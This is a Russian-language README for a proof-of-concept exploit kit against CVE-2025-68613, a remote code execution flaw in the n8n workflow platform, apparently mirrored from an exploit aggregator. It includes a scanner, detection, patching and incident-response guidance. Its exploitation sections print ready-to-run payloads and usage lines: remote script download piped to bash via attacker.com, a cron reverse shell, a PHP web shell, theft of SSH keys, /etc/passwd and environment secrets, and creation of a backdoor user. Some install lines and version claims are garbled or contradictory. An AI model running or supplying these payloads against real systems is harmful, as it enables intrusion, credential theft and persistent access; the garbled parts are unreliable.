## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THESTINGR-CVE-2025-68613-POC
# 🚨 CVE-2025-68613: Критическая RCE-уязвимость в n8n
     

## Оглавление
1. Обзор
2. Что такое n8n?
3. Основы уязвимости
4. Технические детали
5. Затронутые версии
6. Механика эксплуатации
7. Реальное влияние
8. Методы обнаружения
9. Устранение и смягчение рисков
10. Ресурсы и ссылки
* * *
## Обзор
**CVE-2025-68613** — это **критическая уязвимость удалённого выполнения кода (RCE)** , обнаруженная в **n8n** , популярной платформе автоматизации рабочих процессов с открытым исходным кодом. Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере, что потенциально может привести к полной компрометации системы.
### Краткие факты
* **Идентификатор CVE** : CVE-2025-68613
* **Оценка CVSS** : 9.9 - 10.0 (Critical)
* **Тип уязвимости** : Инъекция выражений → удалённое выполнение кода
* **CWE** : CWE-913 (Improper Control of Dynamically-Managed Code Resources)
* **Вектор атаки** : Сеть
* **Требуется аутентификация** : Да (низкие привилегии — доступ администратора не требуется) |- **Статус** : Доступен PoC (подтверждено на v1.121.0)
* * *
## Что такое n8n?
**n8n** — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям:
* Подключать различные API, базы данных и сервисы
* Автоматизировать повторяющиеся бизнес-процессы
* Создавать сложные рабочие процессы без глубоких знаний программирования
* Разворачивать локально (on-premises) или в облаке
### Почему n8n — критическая инфраструктура
Организации используют n8n для:
* Интеграции баз данных с облачными сервисами
* Автоматизации конвейеров обработки данных
* Подключения CRM, ERP и внутренних систем
* Управления конфиденциальными данными и учётными данными API
Такая центральная роль в ИТ-инфраструктуре делает уязвимости особенно опасными, поскольку они могут предоставить злоумышленникам доступ к целым сетям и конфиденциальным данным.
* * *
## Инструменты в этом репозитории
Этот репозиторий содержит готовые к использованию инструменты для обнаружения уязвимости и проверки эксплуатации:
### 1\. Сканер: `cve-2025-68613-scanner.py`
**Назначение** : безопасное обнаружение уязвимых экземпляров n8n без эксплуатации
**Возможности** :
* Пассивное определение версии по HTTP-ответам
* Аутентификация не требуется
* Полезная нагрузка не выполняется
* Проверяет несколько распространённых путей (/, /rest/settings, /healthz, /api/v1/health)
* Безопасен для авторизованных оценок безопасности
**Использование** :```bash python3 cve-2025-68613-scanner.py -u http://target:5678
root@kitploit:~
**Вывод**:
- Код выхода 0: уязвимость не обнаружена
- Код выхода 1: версия не определена (возможно, исправлена или скрыта)
- Код выхода 2: обнаружена уязвимая версия
### 2. Шаблон Nuclei: `CVE-2025-68613.yaml`
**Назначение**: автоматическое обнаружение уязвимостей и базовое тестирование вычисления выражений
**Возможности**:
- Требуется действительный токен аутентификации
- Проверяет возможность внедрения выражений
- Пытается прочитать глобальный контекст Node.js (process.platform)
- Создаёт тестовые сценарии для проверки вектора RCE
- Классификация уровня критичности: CVSS 10.0 Critical
**Использование**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
### 3\. Полный эксплойт: `exploit_cve-2025-68613.py`
**Назначение** : Полноценный эксплойт proof-of-concept с несколькими атакующими пейлоадами
**Возможности** :
* Полная обработка аутентификации
* Несколько эксплойт-пейлоадов:
* **info** : Сбор информации о системе (ОС, архитектура, версия Node.js, текущий пользователь)
* **cmd** : Выполнение произвольных системных команд
* **env** : Извлечение всех переменных окружения (раскрывает учётные данные, API-ключи, секреты)
* **read** : Чтение конфиденциальных файлов из файловой системы (SSH-ключи, конфигурационные файлы и т.д.)
* **write** : Запись файлов в файловую систему (закрепление, бэкдоры и т.д.)
* **revshell** : Установка reverse shell-соединения для интерактивного доступа
* Автоматическая очистка воркфлоу
* Обработка ошибок и отчёт о статусе
**Требования** :
* Действительные учётные данные пользователя n8n (email/пароль)
* Python 3.6+ с библиотекой requests
* Сетевой доступ к целевому инстансу n8n
**Установка** :```bash pip install requests chmod +x exploit_cve-2025-68613.py
root@kitploit:~
**Примеры использования**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e some-email@example.com -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e some-email@example.com -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e some-email@example.com -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e some-email@example.com -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e some-email@example.com -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e some-email@example.com -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
**Как это работает** :
1. Выполняет аутентификацию в n8n, используя предоставленные учетные данные
2. Создает вредоносный рабочий процесс с полезной нагрузкой инъекции выражений
3. Полезная нагрузка выходит из песочницы выражений с помощью `this.constructor.constructor()`
4. Выполняет полезную нагрузку через `process.platform` или другие Node.js API
5. Получает результаты выполнения рабочего процесса
6. Выполняет очистку, удаляя тестовый рабочий процесс
**Коды выхода** :
* 0: Успешная эксплуатация
* 1: Не удалась аутентификация или эксплуатация
* * *
## Основы уязвимости
### В чём проблема?
Простыми словами: **n8n позволяет пользователям писать выражения в рабочих процессах для динамической обработки данных. Однако эти выражения выполняются без надлежащей песочницы, что позволяет злоумышленникам выйти за пределы предполагаемого контекста выполнения и запускать произвольный код на сервере.**
### Суть проблемы
Когда вы создаете рабочий процесс в n8n, вы можете использовать «выражения» для манипуляции данными. Предполагается, что эти выражения выполняются в ограниченной среде. Однако уязвимость показывает, что эти выражения могут получить доступ к базовой системе, что позволяет злоумышленнику:
1. Выполнять системные команды
2. Читать/записывать файлы на сервере
3. Похищать переменные окружения (ключи API, пароли, секреты)
4. Изменять или удалять данные
5. Закрепляться в системе для долгосрочного доступа
### Почему это так опасно
* **Низкий порог входа** : требуется только вход пользователя (без специальных привилегий администратора)
* **Широкая применимость** : многие организации позволяют нетехническим пользователям создавать рабочие процессы
* **Высокое воздействие** : выполняется с полными привилегиями процесса n8n
* **Доступ к данным** : может получить доступ ко всем данным, к которым имеет доступ n8n (базы данных, API, учетные данные)
* **Сетевое положение** : n8n часто находится в центре критической инфраструктуры, что обеспечивает горизонтальное перемещение
* * *
## Технические детали
### Как работает уязвимость
#### Шаг 1: Вычисление выражений рабочего процесса
Когда пользователь создает рабочий процесс в n8n, он может использовать выражения для обработки данных:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
root@kitploit:~
#### Шаг 2: Инъекция выражения
Злоумышленник создает вредоносное выражение, которое выходит за пределы предполагаемой песочницы:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
#### Шаг 3: Выполнение кода
Выражение вычисляется без надлежащей изоляции, что позволяет атакующему:
* Вызывать системные функции
* Выполнять команды оболочки
* Получать доступ к файловой системе
* Читать переменные окружения
### Корневая причина
Уязвимость возникает из-за **недостаточной песочницы** в движке вычисления выражений. Команда n8n вычисляла выражения в контексте, который:
* Разрешал доступ к `require()` или аналогичным функциям загрузки модулей
* Не ограничивал должным образом доступ к системным API
* Не проверял и не фильтровал синтаксис выражений
* Не предотвращал атаки через загрязнение прототипа
* Не изолировал среду выполнения от базовой среды выполнения Node.js
### Путь выполнения кода```
User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
root@kitploit:~
---
## Затронутые версии
### Уязвимый диапазон
Все версии n8n, начиная с **0.211.0** и до следующих версий, уязвимы:
- `0.211.0` → `1.120.3`
- `1.121.0`
### Исправленные версии
Уязвимость исправлена в:
- ✅ `1.120.4` и более поздних в ветке 1.120.x
- ✅ `1.121.1` и более поздних в ветке 1.121.x
- ✅ `1.122.0` и всех более новых версиях
### Как проверить свою версию```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
* * *
## Проверенные версии и совместимость
### Подтверждённо работает
* **n8n v1.121.0** : ✅ Полностью эксплуатируема (подтверждённое RCE, внедрение выражений работает)
* **n8n v0.211.0 - v1.120.3** : ✅ В пределах уязвимого диапазона по данным NVD (не тестировалось индивидуально)
### Известные проблемы
* **Ограничение выполнения REST** : Эндпоинт `/rest/workflows/{id}/run` возвращает ошибку HTTP 500 в v1.121.0
* **Обходной путь** : Внедрение выражений работает отлично, RCE подтверждено через:
1. Ручной клик по кнопке «Test Step» в интерфейсе (доказано, что работает)
2. Захват вывода рабочего процесса
* **Это ограничение API, а не ошибка эксплойта**
### Не протестировано
* **n8n v0.212.0+** : Вне документированного диапазона уязвимости, вероятно, исправлено (см. GitHub issue #1)
* **Развёртывания на Windows Server** : Ограниченные данные тестирования в средах, специфичных для Windows
### Заявление о поддержке версий
Эксплойт предназначен для работы против уязвимого диапазона, задокументированного в NVD:
* **Подтверждённая уязвимость** : 0.211.0 – 1.120.3, а также 1.121.0
* **Исправленные версии** : 1.120.4, 1.121.1, 1.122.0 и более поздние
При тестировании версий вне этого диапазона успех не гарантирован.
* * *
## Механика эксплуатации
### Что может сделать атакующий?
Когда аутентифицированный пользователь (или атакующий с действующими учётными данными) эксплуатирует эту уязвимость, он может:
#### 1\. Выполнять произвольные системные команды```javascript
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
root@kitploit:~
#### 2. Чтение файлов с сервера```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
#### 3\. Чтение переменных окружения```javascript
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
root@kitploit:~
#### 4. Запись вредоносных файлов```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
#### 5\. Доступ к подключенным сервисам```javascript
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
root@kitploit:~
#### 6. Закрепление в системе```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
### Пример сценария атаки
**Реальный сценарий: компания использует n8n**
1. **Злоумышленник получает учетные данные** : через фишинг, повторное использование паролей или слабый пароль
2. **Входит в n8n** : использует легитимную учетную запись пользователя
3. **Создает «безвредный» рабочий процесс** : утверждает, что он нужен для обработки данных
4. **Внедряет вредоносное выражение** : прячет эксплойт в шаге рабочего процесса
5. **Выполняет код** : запускает команды с привилегиями процесса n8n
6. **Похищает данные** : крадет ключи API, учетные данные базы данных, данные клиентов
7. **Обеспечивает устойчивость** : устанавливает бэкдоры, создает новые учетные записи администратора
8. **Перемещается латерально** : использует украденные учетные данные для доступа к другим системам
* * *
## Реальное влияние
### Влияние на конфиденциальность (ВЫСОКОЕ)
* Доступ к конфиденциальным данным, обрабатываемым рабочими процессами
* Извлечение ключей API, паролей баз данных, ключей шифрования
* Чтение файлов конфигурации, журналов и секретов
* Возможные нарушения GDPR/комплаенса из-за кражи данных
### Влияние на целостность (ВЫСОКОЕ)
* Изменение существующих рабочих процессов для саботажа операций
* Внедрение вредоносных рабочих процессов, повреждающих данные
* Изменение выходных данных рабочих процессов, влияющее на последующие системы
* Установка бэкдоров для постоянного доступа
### Влияние на доступность (ВЫСОКОЕ)
* Удаление критически важных рабочих процессов, вызывающее нарушение бизнес-процессов
* Изменение системных файлов, приводящее к сбоям сервисов
* Истощение ресурсов из-за вредоносной автоматизации
* Атаки с выкупом, когда злоумышленники требуют оплату за восстановление систем
### Примеры влияния на бизнес
**Производственная компания**
* n8n автоматизирует обработку заказов и управление запасами
* Злоумышленник похищает заказы клиентов и информацию о поставщиках
* Изменяет рабочие процессы, чтобы отправлять клиентам не те товары
* Результаты: потеря доверия клиентов, юридическая ответственность, нарушение операционной деятельности
**Финансовые услуги**
* n8n интегрирует банковские API и обработку платежей
* Злоумышленник крадет учетные данные API и токены аутентификации
* Перенаправляет транзакции или создает мошеннические записи
* Результаты: регуляторные штрафы, компенсация клиентам, ущерб репутации
**Медицинская организация**
* n8n обрабатывает интеграцию данных пациентов и отчетность
* Злоумышленник получает доступ к защищенной медицинской информации (PHI)
* Изменяет медицинские записи или блокирует критические оповещения
* Результаты: нарушения HIPAA, вред пациентам, ответственность организации
* * *
## Методы обнаружения
### Метод 1: сканер обнаружения версий
**Безопасный, не эксплуатирующий уязвимость скрипт обнаружения** (включен в исходный репозиторий):```bash python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
root@kitploit:~
**Примеры вывода**```
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
### Метод 2: Использование шаблона Nuclei
**Автоматическое сканирование с помощью Nuclei** :```bash
# Single target
nuclei -t CVE-2025-68613.yaml -u http://target:5678
# Multiple targets from file
nuclei -t CVE-2025-68613.yaml -l targets.txt
root@kitploit:~
**Как это работает**:
1. Отправляет HTTP-запросы к стандартным путям n8n
2. Извлекает метаданные версии из HTML/заголовков
3. Декодирует base64-кодированный конфиг, если он присутствует
4. Сравнивает версию с уязвимыми диапазонами
5. Сообщает, уязвим ли экземпляр
### Метод 3: Ручное получение баннера```bash
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
### Метод 4: Сетевая разведка```bash
# Find n8n instances using Shodan
shodan search "n8n" --limit 10
# Use favicon hash detection
nmap -p 5678 --script http-favicon target.com
root@kitploit:~
### Индикаторы компрометации (IOCs)
**Признаки в журналах**:
- Необычные вычисления выражений в журналах рабочих процессов
- Ошибки выражений, содержащие системные команды
- Доступ к чувствительным файлам (например, ссылки на /etc/passwd)
- Неожиданный запуск процессов из процесса n8n
**Признаки в системе**:
- Создание новых учетных записей пользователей на сервере
- Неожиданные SSH-ключи в authorized_keys
- Новые задачи cron или запланированные задачи
- Изменения системных файлов
- Reverse shell-соединения с сервера n8n
---
## Исправление и смягчение последствий
### ОСНОВНОЕ РЕШЕНИЕ: немедленное обновление
**Это единственное полное исправление уязвимости.**
#### Шаг 1: Создайте резервную копию данных```bash
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
#### Шаг 2: Обновление n8n
**Использование Docker** (рекомендуется):```bash
# Pull the latest patched version
docker pull n8nio/n8n:1.122.0 # Or later
# Stop current instance
docker stop n8n-container
# Start with new version
docker run -d --name n8n-patched
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.122.0
root@kitploit:~
**Использование npm**:```bash
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install some-email@example.com
**Использование системного менеджера пакетов** :```bash
# Debian/Ubuntu
sudo apt update && sudo apt upgrade n8n
# Or manual download
wget https://github.com/n8n-io/n8n/releases/download/some-email@example.com/n8n.tar.gz
root@kitploit:~
#### Шаг 3: Проверка обновления```bash
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
* * *
### ВРЕМЕННЫЕ МЕРЫ: Во время обновления
**Важно** : Это НЕ устраняет уязвимость. Используйте только как временные меры при планировании обновлений.
#### 1\. Ограничьте разрешения рабочих процессов```
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
root@kitploit:~
#### 2. Мониторинг изменений рабочего процесса```
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
#### 3\. Сетевая изоляция```bash
# Restrict n8n network access
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
# Or using iptables
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
root@kitploit:~
#### 4. Запустите n8n с минимальными привилегиями```bash
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
#### 5\. Включите строгую аутентификацию```
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
root@kitploit:~
#### 6. Контейнеризация и изоляция```bash
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
#### 7\. Регулярный аудит```bash
# Monitor for suspicious activities
# Check for new files in n8n directories
find /path/to/n8n -type f -mtime -1
# Monitor process activity
ps aux | grep n8n netstat -tlnp | grep n8n
# Check for unauthorized SSH keys
cat ~/.ssh/authorized_keys
# Review system logs
journalctl -u n8n -n 100
root@kitploit:~
---
## Матрица оценки рисков
| Сценарий | Уровень риска | Вероятность | Влияние | Приоритет |
|----------|-----------|-----------|--------|----------|
| Необновлённый n8n, доступный из интернета | КРИТИЧЕСКИЙ | ВЫСОКАЯ | Полная компрометация | 🔴 СРОЧНО |
| Необновлённый n8n, только для внутреннего использования | ВЫСОКИЙ | СРЕДНЯЯ | Риск инсайдерской угрозы | 🟠 ВЫСОКИЙ |
| Обновлённый n8n | НИЗКИЙ | НИЗКАЯ | Н/Д | ✅ Устранено |
| Необновлённый n8n с ограничениями прав | СРЕДНИЙ | СРЕДНЯЯ | Ограничено доверенными пользователями | 🟡 СРЕДНИЙ |
---
## Пошаговое восстановление при компрометации
### Немедленные действия (первый час)
1. **Изолируйте систему**: Отключите от сети
2. **Остановите службу**: `sudo systemctl stop n8n`
3. **Сохраните журналы**: Сделайте резервную копию всех журналов перед очисткой
4. **Оповестите команду**: Уведомите службу безопасности и руководство
5. **Оцените масштаб**: Определите, к каким данным n8n имел доступ
### Расследование (первый день)
1. **Просмотрите журналы аудита**: Проверьте подозрительную активность
2. **Проанализируйте сетевой трафик**: Поищите признаки утечки данных
3. **Проверьте изменения файлов**: Найдите внедрённые бэкдоры
4. **Проверьте учётные записи**: Поищите новые или изменённые учётные записи
5. **Аудит учётных данных**: Сбросьте все API-ключи и пароли, используемые n8n
### Восстановление (дни 2-7)
1. **Полная пересборка системы**: Не просто обновляйте, а пересоберите из чистого образа
2. **Ротация учётных данных**: Сбросьте все пароли, API-ключи и токены
3. **Установите все исправления**: Обновите все подключённые системы
4. **Восстановите из резервной копии**: Используйте чистые резервные копии, созданные до компрометации
5. **Аудит безопасности**: Проведите полную оценку безопасности
### После инцидента (недели 2+)
1. **Внедрите мониторинг**: Настройте непрерывное журналирование и оповещение
2. **Изменение процессов**: Обновите процедуры реагирования на инциденты
3. **Обучение пользователей**: Обучите команды лучшим практикам безопасности
4. **Сканирование уязвимостей**: Регулярное сканирование на аналогичные проблемы
5. **Проверка соответствия**: Убедитесь, что все требования соблюдены (GDPR, HIPAA и т. д.)
---
## Профилактика на будущее
### Лучшие практики безопасности для n8n
1. **Поддерживайте n8n в актуальном состоянии**
- Включите автоматические обновления, если они доступны
- Подпишитесь на уведомления безопасности n8n
- Тестируйте исправления в staging перед продом
2. **Контроль доступа**
- Используйте принцип минимальных привилегий
- Требуйте надёжные пароли и 2FA
- Внедрите SSO для корпоративного развёртывания
- Регулярные проверки и аудиты доступа
3. **Управление рабочими процессами**
- Проверяйте все рабочие процессы на подозрительную логику
- Внедрите процесс ревью кода для рабочих процессов
- Используйте соглашения об именовании для выявления критических рабочих процессов
- Регулярно создавайте резервные копии рабочих процессов
4. **Управление учётными данными**
- Никогда не храните учётные данные в рабочих процессах
- Используйте переменные окружения для чувствительных данных
- Регулярно меняйте учётные данные
- Аудируйте доступ к учётным данным
5. **Мониторинг и журналирование**
- Включите полное журналирование аудита
- Отслеживайте необычную активность
- Настройте оповещения о подозрительных операциях
- Регулярный просмотр и анализ журналов
6. **Сетевая безопасность**
- Запускайте n8n в изолированных сетевых сегментах
- Ограничьте сетевой доступ только необходимыми службами
- Используйте VPN/межсетевой экран для удалённого доступа
- Отслеживайте сетевой трафик на аномалии
7. **Реагирование на инциденты**
- Создайте план реагирования на инциденты
- Определите процедуры эскалации
- Проводите регулярные учения по безопасности
- Поддерживайте актуальные списки контактов
---
## Устранение неполадок
### Проблема: "Exit code 1: Authentication or exploitation failed"
**Распространённые причины**:
1. **Неверные учётные данные** (наиболее частая причина)
- Решение: Сначала проверьте, что учётные данные работают для входа в веб-интерфейс
- Попробуйте: `curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"some-email@example.com","password":"pass"}'`
2. **У пользователя нет прав на создание рабочих процессов**
- Решение: Используйте учётную запись администратора или пользователя с правами на создание рабочих процессов
- Проверка: Откройте админ-панель → Пользователи и разрешения
3. **Версия обновлена** (версия > 1.121.0)
- Решение: Сначала используйте сканер для проверки версии: `python3 cve-2025-68613-scanner.py -u http://target:5678`
- Ожидается: Сканер должен сообщить "Vulnerable" (код выхода 2)
4. **Структура API изменилась** (более старые/новые версии могут отличаться)
- Решение: Проверьте бюллетень NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Наиболее вероятно, если тестируются версии вне документированного диапазона
5. **Блокировка сетью/межсетевым экраном**
- Решение: Проверьте связь: `curl http://target:5678/`
- Проверьте: Правила межсетевого экрана, настройки прокси, SSL-сертификаты
### Проблема: Сканер сообщает о ложных срабатываниях (неверное определение версии)
**Исправлено в v1.02**: Сканер теперь использует декодированную из base64 конфигурацию Sentry из мета-тегов вместо простого регулярного выражения. Это устраняет ложные срабатывания, когда версия Node.js определялась как версия n8n.
**Что изменилось**:
- Основной источник: Извлечение и декодирование `<meta name="n8n:config:sentry" content="[BASE64]">`
- Запасной вариант: Использование регулярного выражения, только если конфигурация Sentry недоступна
- Результат: Точное определение версии без ложных срабатываний
**Для использования сканера v1.02**:```bash
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
### Проблема: выполнение REST возвращает ошибку 500
**Это НЕ ошибка в эксплойте — это ограничение API.**
**Объяснение** :
* Эндпоинт `/rest/workflows/{id}/run` возвращает HTTP 500 в n8n v1.121.0
* Это ограничение дизайна API n8n, а не ошибка эксплойта
* Внедрение выражений ПО-ПРЕЖНЕМУ РАБОТАЕТ через UI
**Обходное решение** :
1. Эксплойт создаёт рабочий процесс с вредоносным выражением ✅ Работает
2. Выражение вычисляется и выполняет код ✅ Работает (подтверждено ручным тестированием)
3. Вручную нажмите кнопку «Test Step» в интерфейсе, чтобы запустить выражение ✅ Работает
4. Читайте вывод из результатов рабочего процесса ✅ Работает
**Доказательство** : Получен флаг на TryHackMe: `THM{n8n_exposed_workflow}`
* * *
## Ресурсы и ссылки
### Официальные источники
* **Репозиторий n8n на GitHub** : https://github.com/n8n-io/n8n
* **Рекомендации по безопасности n8n** : https://github.com/n8n-io/n8n/security/advisories
* **Документация n8n** : https://docs.n8n.io/
### Информация о CVE
* **Запись NVD** : https://nvd.nist.gov/vuln/detail/CVE-2025-68613
* **CVEDetails** : https://www.cvedetails.com/cve/CVE-2025-68613/
* **CVETodo** : https://cvetodo.com/cve/CVE-2025-68613
### Ресурсы по безопасности
* **NIST CWE-913** : https://cwe.mitre.org/data/definitions/913.html
* **OWASP Внедрение кода** : https://owasp.org/www-community/attacks/Code_Injection
* **OWASP Обход песочницы** : https://owasp.org/www-community/attacks/Sandbox_Escape
* * *
## Резюме
**CVE-2025-68613** — это критическая уязвимость, требующая немедленных действий. Сочетание:
* Возможность внедрения выражений
* Отсутствие песочницы
* Низкие требования к привилегиям
* Широкая поверхность атаки (многие пользователи создают рабочие процессы)
* Центральное положение в ИТ-инфраструктуре
...что делает эту уязвимость одной из самых опасных в платформах автоматизации рабочих процессов.
**Простое решение** : немедленно обновитесь до исправленной версии. Нет оправдания оставаться уязвимым к критическому RCE, когда доступны исправления.
* * *
## Версия документа
|- **Версия** : 1.02 |- **Дата создания** : 18 декабря 2025 г. |- **Последнее обновление** : 26 декабря 2025 г.
* **Статус** : Завершено
* **Автор** : The StingR / TechSquad Inc.
* **Организация** : TechSquad Inc.
* * *
## Отказ от ответственности
Этот документ предоставлен только в образовательных целях и для авторизованных оценок безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда убедитесь, что у вас есть надлежащее разрешение, прежде чем тестировать, оценивать или получать доступ к системам, которые вам не принадлежат.
* * *
**⚠️ ПОМНИТЕ: Немедленно обновите свои экземпляры n8n, если вы используете уязвимые версии.**